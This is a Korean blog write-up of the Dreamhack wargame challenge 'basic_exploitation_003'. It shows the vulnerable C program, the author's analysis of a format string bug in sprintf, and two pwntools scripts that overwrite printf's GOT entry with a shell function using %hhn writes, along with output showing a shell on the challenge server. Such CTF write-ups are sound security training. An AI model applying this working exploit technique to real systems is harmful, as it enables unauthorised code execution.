Wargame/Dreamhack

basic_exploitation_003

wyv3rn 2022. 8. 1. 00:01
728x90
반응형

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

솔직히 다소 야매로 풀었다;;

어쨌든, 취약점이 발생하는 sprintf 함수 다음에 printf 함수가 실행되기 때문에 printf got 주소를 get_shell 주소로 덮어 씌우면 된다.

 

다만, 프로그램 실행 시 확인한 format string bug가 첫 번째부터 나타나는 것으로 확인하고 시도하였는데,

┌──(kali㉿kali)-[~/Downloads]
└─$ ./basic_exploitation_003 
AAAA%p%p%p%p
ECHO : AAAA0x414141410x313478300x313431340x78303134

실제로는 더미 값 4 byte가 들어간 이후부터 %n에 의한 값의 변경이 되는 것을 확인하였다.

또한 주소와 %n을 차례로 작성해주면 값이 이상하게 들어가는데, 이를 하나씩 확인하며 페이로드를 바로잡아주었다.

작성된 페이로드는 아래와 같다.

from pwn import *

p = remote('host3.dreamhack.games',16075)
#p = process('./basic_exploitation_003')
e = ELF('./basic_exploitation_003')

get_shell = e.symbols['get_shell']

overwrite = e.got['printf'] 

pay = b'AAAA'
pay += p32(overwrite+2)
pay += p32(overwrite+1)
pay += p32(overwrite)
pay += p32(overwrite+3)
pay += b'%85c%4$hhn'
pay += b'%29c%3$hhn'
pay += b'%126c%2$hhn'
pay += b'%4c%hhn'

print(pay)

#gdb.attach(p)

p.send(pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 16075: Done
[*] '/home/kali/Downloads/basic_exploitation_003'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
b'AAAA\x12\xa0\x04\x08\x11\xa0\x04\x08\x10\xa0\x04\x08\x13\xa0\x04\x08%85c%4$hhn%29c%3$hhn%126c%2$hhn%4c%hhn'
[*] Switching to interactive mode
$ id
uid=1000(basic_exploitation_003) gid=1000(basic_exploitation_003) groups=1000(basic_exploitation_003)
$ cat flag
DH{----------#플래그는 삭제}

왜 이렇게 되는지는 조금 고민해봐야 될 듯,


다른 분들의 풀이를 조금 참고해봤는데, 다들 다른 방법으로 풀었다.

 

주요 차이점은

다른 사람들은 sprintf 함수에서 데이터들이 복사되는 점을 활용해서 buffer를 채운 뒤 ret address를 변경함.

나는 format string을 이용해 특정 주소의 값을 변경함.

이다.

 

어찌보면 쉬운 길을 멀리 돌아간 셈;;;

 

sprintf에서 포맷 스트링이 발생하는 경우 buffer overflow도 함께 고려하자!

 


왜 값이 제대로 안들어가지는지 확인했다.

주요 문제점은 %hhn != %1$hhn 이다.

이 때문에 마지막 %4c%hhn이 %4c%5$hhn (앞에 %c가 4개 있었으니까.)이 되어버린 것이다.

그러므로 정상적인 페이로드로 다시 작성해보면 아래와 같다.

from pwn import *

#p = remote('host3.dreamhack.games',16075)
p = process('./basic_exploitation_003')
e = ELF('./basic_exploitation_003')

overwrite = e.got['printf'] 

pay = b''
pay += p32(overwrite+3)
pay += p32(overwrite+2)
pay += p32(overwrite+1)
pay += p32(overwrite)
pay += b'%89c%4$hhn'
pay += b'%29c%3$hhn'
pay += b'%126c%2$hhn'
pay += b'%4c%1$hhn'

p.send(pay)
p.interactive()

 

728x90
반응형